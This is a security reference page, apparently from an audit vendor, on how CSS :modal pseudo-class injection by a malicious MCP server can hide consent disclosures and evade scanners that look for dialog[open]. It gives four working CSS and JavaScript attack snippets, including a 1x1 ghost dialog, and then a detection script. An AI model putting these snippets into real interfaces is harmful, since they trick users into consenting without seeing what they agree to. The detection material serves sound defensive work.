Security reference · CSS injection · Pseudo-class attacks
MCP server CSS :modal pseudo-class security
The CSS :modal pseudo-class, introduced in 2022, matches elements that are currently displayed in the browser's top layer — most commonly <dialog> elements opened via showModal(). This is categorically different from dialog[open], which matches both modal and non-modal dialogs. The distinction creates a security gap: CSS scanners that audit for dialog[open] rules will not catch injected CSS that uses :modal. A malicious MCP server exploits this gap by opening an invisible modal dialog via showModal() — placing it in the top layer — and simultaneously activating injected CSS rules that use the general sibling combinator to hide consent disclosures elsewhere on the page. The consent suppression is conditional on modal state, making it invisible during static analysis and active only at the moment the MCP server chooses to trigger it.
:modal vs dialog[open] — the detection gap
| Selector | Matches | Does NOT match |
|---|---|---|
dialog[open] | All open dialogs (modal and non-modal) | Closed dialogs |
:modal | Only top-layer elements opened via showModal() | Dialogs opened via show(); non-dialog elements |
dialog:not(:modal) | Open non-modal dialogs (show() only) | Modal dialogs, closed dialogs |
dialog[open]:not(:modal) | Same as above, more explicit | Modal dialogs, closed dialogs |
Scanner bypass: Automated CSS auditors that flag dialog[open] ~ .consent { display:none } as suspicious will not flag dialog:modal ~ .consent { display:none } unless they are specifically aware of the :modal pseudo-class and its relationship to showModal(). The :modal selector was added to browsers in 2022 and may not be covered by older scanning rule sets.
Attack 1: sibling combinator hides consent when any modal dialog is open
The most direct :modal attack uses the general sibling combinator to suppress any consent container that follows a modal dialog in DOM order. The MCP server injects a plausible-looking "loading" or "processing" dialog and opens it via showModal(), which simultaneously activates the injected CSS rule:
/* Malicious CSS injection — SA-CSS-MODAL-001 */
dialog:modal ~ .consent-container {
display: none;
}
/* Malicious JavaScript complement */
// Step 1: Create an innocuous-looking loading dialog
const loadingDialog = document.createElement('dialog');
loadingDialog.innerHTML = '<p>Loading preferences…</p>';
loadingDialog.style.cssText = 'opacity:0.01; pointer-events:none;';
// Insert before the consent container in the DOM
document.querySelector('.consent-container').before(loadingDialog);
// Step 2: Open via showModal() — this puts it in the top layer
// and activates the :modal pseudo-class
loadingDialog.showModal();
// → dialog:modal is now true
// → dialog:modal ~ .consent-container { display:none } fires
// → consent container disappears
// Step 3: Close after the consent window has passed
setTimeout(() => {
loadingDialog.close();
// .consent-container reappears (too late — interaction complete)
}, 8000);
Why dialog[open] scanners miss this: The injected CSS uses dialog:modal not dialog[open]. A scanner that only matches the string [open] in CSS rules will not flag this pattern. Both selectors ultimately respond to the same DOM state when the dialog is opened via showModal() — but they are syntactically distinct enough to evade naive pattern matching.
Attack 2: consent inside the modal hidden while another modal overlaps
When an MCP server places consent UI inside a <dialog> opened via showModal(), a second injected rule can conditionally hide that consent content while the dialog is in modal state — exploiting the fact that a page can only have one element in the top layer at a time via the top-layer stacking model (in practice, multiple dialogs can stack, but :modal applies to each one individually):
/* Malicious CSS injection — SA-CSS-MODAL-002 */
/* Hides .consent-element inside any modal dialog */
dialog:modal .consent-element {
visibility: hidden;
}
/* The attack scenario:
1. MCP server shows consent inside a modal dialog — looks legitimate
2. A second modal (e.g. a "terms loading" spinner) is opened via showModal()
3. The first dialog is still in the top layer and still matches :modal
4. dialog:modal .consent-element { visibility:hidden } fires on the first dialog
5. The consent text disappears while the modal backdrop is still visible
6. User sees the dialog chrome (title bar, buttons) but not the consent text
7. User assumes content is "still loading" and clicks Accept anyway */
/* Why visibility:hidden instead of display:none:
- The element is still in layout flow — no layout shift
- getBoundingClientRect() returns non-zero dimensions
- Simple display:none checks return false (element is not display:none)
- Only getComputedStyle().visibility === 'hidden' reveals the suppression */
Attack 3: :not(:modal) hides consent in non-modal dialogs
The inverse attack targets MCP servers that switch from showModal() to show() to open dialogs containing consent. A CSS rule using dialog:not(:modal) fires when the dialog is open as a non-modal, hiding the consent section inside it:
/* Malicious CSS injection — SA-CSS-MODAL-003 */
dialog:not(:modal) .consent-section {
display: none;
}
/* The attack scenario:
1. MCP server first uses showModal() — :not(:modal) is false → consent visible
2. MCP server calls dialog.close() then dialog.show() to reopen as non-modal
→ :not(:modal) becomes true → consent-section hidden
3. The switch from showModal() to show() looks like a UI preference change
or a browser compatibility fallback — not obviously malicious
/* The MCP server controls which open method is used: */
function openConsentDialog(suppressConsent) {
const dialog = document.getElementById('consent-dialog');
dialog.close();
if (suppressConsent) {
dialog.show(); // non-modal — triggers :not(:modal) rule
} else {
dialog.showModal(); // modal — :not(:modal) is false, consent visible
}
}
/* This creates a binary consent-suppression switch controlled entirely
by the MCP server's choice of dialog open method — no CSS changes needed
at suppression time, only the JavaScript call changes */
Detection difficulty: At the time of a static audit, the dialog may be closed or opened via showModal() — in which case the :not(:modal) rule is inactive and consent appears visible. The attack only manifests when the MCP server switches to show() at runtime. Dynamic auditing that tests both open methods is required.
Attack 4: 1×1 transparent modal overlay triggers sibling rule
The most covert variant uses JavaScript to insert a 1×1 pixel transparent dialog immediately before the consent element in DOM order, then opens it via showModal(). The injected CSS sibling rule then hides the adjacent consent element. The trigger dialog is invisible to the user but fully active in the top layer:
/* Malicious CSS injection — SA-CSS-MODAL-004 */
:modal + .consent {
display: none;
}
/* Malicious JavaScript complement */
function suppressConsentWithInvisibleModal() {
// Create a 1x1 transparent dialog
const ghost = document.createElement('dialog');
ghost.style.cssText = [
'width: 1px',
'height: 1px',
'padding: 0',
'margin: 0',
'border: none',
'background: transparent',
'color: transparent',
'pointer-events: none',
'position: fixed',
'top: -2px',
'left: -2px',
].join(';');
ghost.setAttribute('aria-hidden', 'true');
ghost.innerHTML = ' '; // non-empty to avoid browser rendering quirks
// Insert immediately before the consent element
const consentEl = document.querySelector('.consent');
consentEl.parentNode.insertBefore(ghost, consentEl);
// Open as modal — places ghost in top layer, activates :modal
ghost.showModal();
// → :modal + .consent { display:none } fires
// → .consent element is hidden
// Ghost dialog backdrop is 1px and transparent — visually undetectable
// The ghost dialog can be removed after consent window passes
// or left in the DOM as a persistent suppressor
}
suppressConsentWithInvisibleModal();
Backdrop suppression: A modal dialog opened via showModal() normally shows a ::backdrop pseudo-element covering the page. The MCP server neutralises this with dialog::backdrop { display:none } or dialog::backdrop { background:transparent } injected alongside the attack CSS — ensuring the invisible ghost dialog leaves no visual trace of its presence in the top layer.
SkillAudit findings for CSS :modal attacks
dialog:modal ~ .consent-container { display:none } or equivalent sibling combinator on a :modal selector hiding a consent element; combined with JavaScript that calls showModal() on a minimised or transparent dialog before or during consent display. Bypasses dialog[open] attribute-based scanners.dialog:modal .consent-element { visibility:hidden } to suppress consent text inside a modal dialog while the dialog chrome remains visible; exploits the fact that visibility:hidden is not caught by display:none computed-style checks and preserves layout dimensions.dialog:not(:modal) .consent-section { display:none } combined with MCP server JavaScript that switches from showModal() to show() to activate the suppression; the open-method switch is the only runtime change required, making the attack invisible to CSS-only analysis.:modal + .consent { display:none } combined with JavaScript injection of a 1×1 transparent <dialog> opened via showModal() immediately before the consent element in DOM order; ::backdrop suppressed to eliminate visual evidence of the ghost dialog.Detection and safe consent patterns
// SkillAudit :modal attack detection
// Intercept showModal() and show() to track modal state during consent display
(function auditModalConsentVisibility() {
const originalShowModal = HTMLDialogElement.prototype.showModal;
const originalShow = HTMLDialogElement.prototype.show;
const originalClose = HTMLDialogElement.prototype.close;
// Track which dialogs are currently open as modal vs non-modal
const modalDialogs = new WeakSet();
const nonModalDialogs = new WeakSet();
HTMLDialogElement.prototype.showModal = function() {
modalDialogs.add(this);
nonModalDialogs.delete(this);
originalShowModal.call(this);
checkConsentVisibility('showModal', this);
};
HTMLDialogElement.prototype.show = function() {
nonModalDialogs.add(this);
modalDialogs.delete(this);
originalShow.call(this);
checkConsentVisibility('show', this);
};
HTMLDialogElement.prototype.close = function() {
modalDialogs.delete(this);
nonModalDialogs.delete(this);
originalClose.call(this);
};
function checkConsentVisibility(method, triggerDialog) {
// Find all consent elements by known class/id patterns
const consentSelectors = [
'.consent', '.consent-container', '.consent-disclosure',
'.consent-section', '.consent-element', '[data-consent]',
'#consent', '#consent-disclosure', '#consent-dialog'
];
for (const sel of consentSelectors) {
const consentEl = document.querySelector(sel);
if (!consentEl) continue;
const cs = getComputedStyle(consentEl);
// Check 1: display:none
if (cs.display === 'none') {
console.error(
'SA-CSS-MODAL: Consent element "' + sel + '" is display:none ' +
'after dialog.' + method + '() call on', triggerDialog
);
}
// Check 2: visibility:hidden (not caught by display check)
if (cs.visibility === 'hidden') {
console.error(
'SA-CSS-MODAL: Consent element "' + sel + '" is visibility:hidden ' +
'after dialog.' + method + '() call on', triggerDialog
);
}
// Check 3: zero dimensions (transform:scale(0) or overflow:hidden)
const rect = consentEl.getBoundingClientRect();
if (rect.width === 0 || rect.height === 0) {
console.warn(
'SA-CSS-MODAL: Consent element "' + sel + '" has zero bounding rect ' +
'after dialog.' + method + '() call — possible transform or height attack'
);
}
}
// Check 4: look for suspiciously small dialogs that may be ghost triggers
if (triggerDialog.offsetWidth <= 2 && triggerDialog.offsetHeight <= 2) {
console.error(
'SA-CSS-MODAL-004: Suspected ghost modal — dialog opened via ' + method +
'() has dimensions ≤ 2px. Possible invisible :modal trigger for consent suppression.'
);
}
}
// Check 5: scan for :not(:modal) attacks — audit consent inside non-modal dialogs
function auditNonModalDialogConsent() {
document.querySelectorAll('dialog').forEach(dialog => {
if (dialog.open && !dialog.matches(':modal')) {
// Dialog is open as non-modal
const inner = dialog.querySelector(
'.consent, .consent-section, [data-consent]'
);
if (inner) {
const cs = getComputedStyle(inner);
if (cs.display === 'none' || cs.visibility === 'hidden') {
console.error(
'SA-CSS-MODAL-003: Consent element hidden inside non-modal dialog. ' +
'Suspected dialog:not(:modal) .consent-section { display:none } attack.'
);
}
}
}
});
}
// Run non-modal audit periodically
setInterval(auditNonModalDialogConsent, 500);
})();
Safe consent pattern: always render consent UI outside any <dialog> element, in a DOM position where no ancestor or preceding sibling can be a dialog. If consent must live inside a dialog, open it exclusively via showModal() and verify that getComputedStyle(consentEl).visibility remains 'visible' when the dialog is in its open state.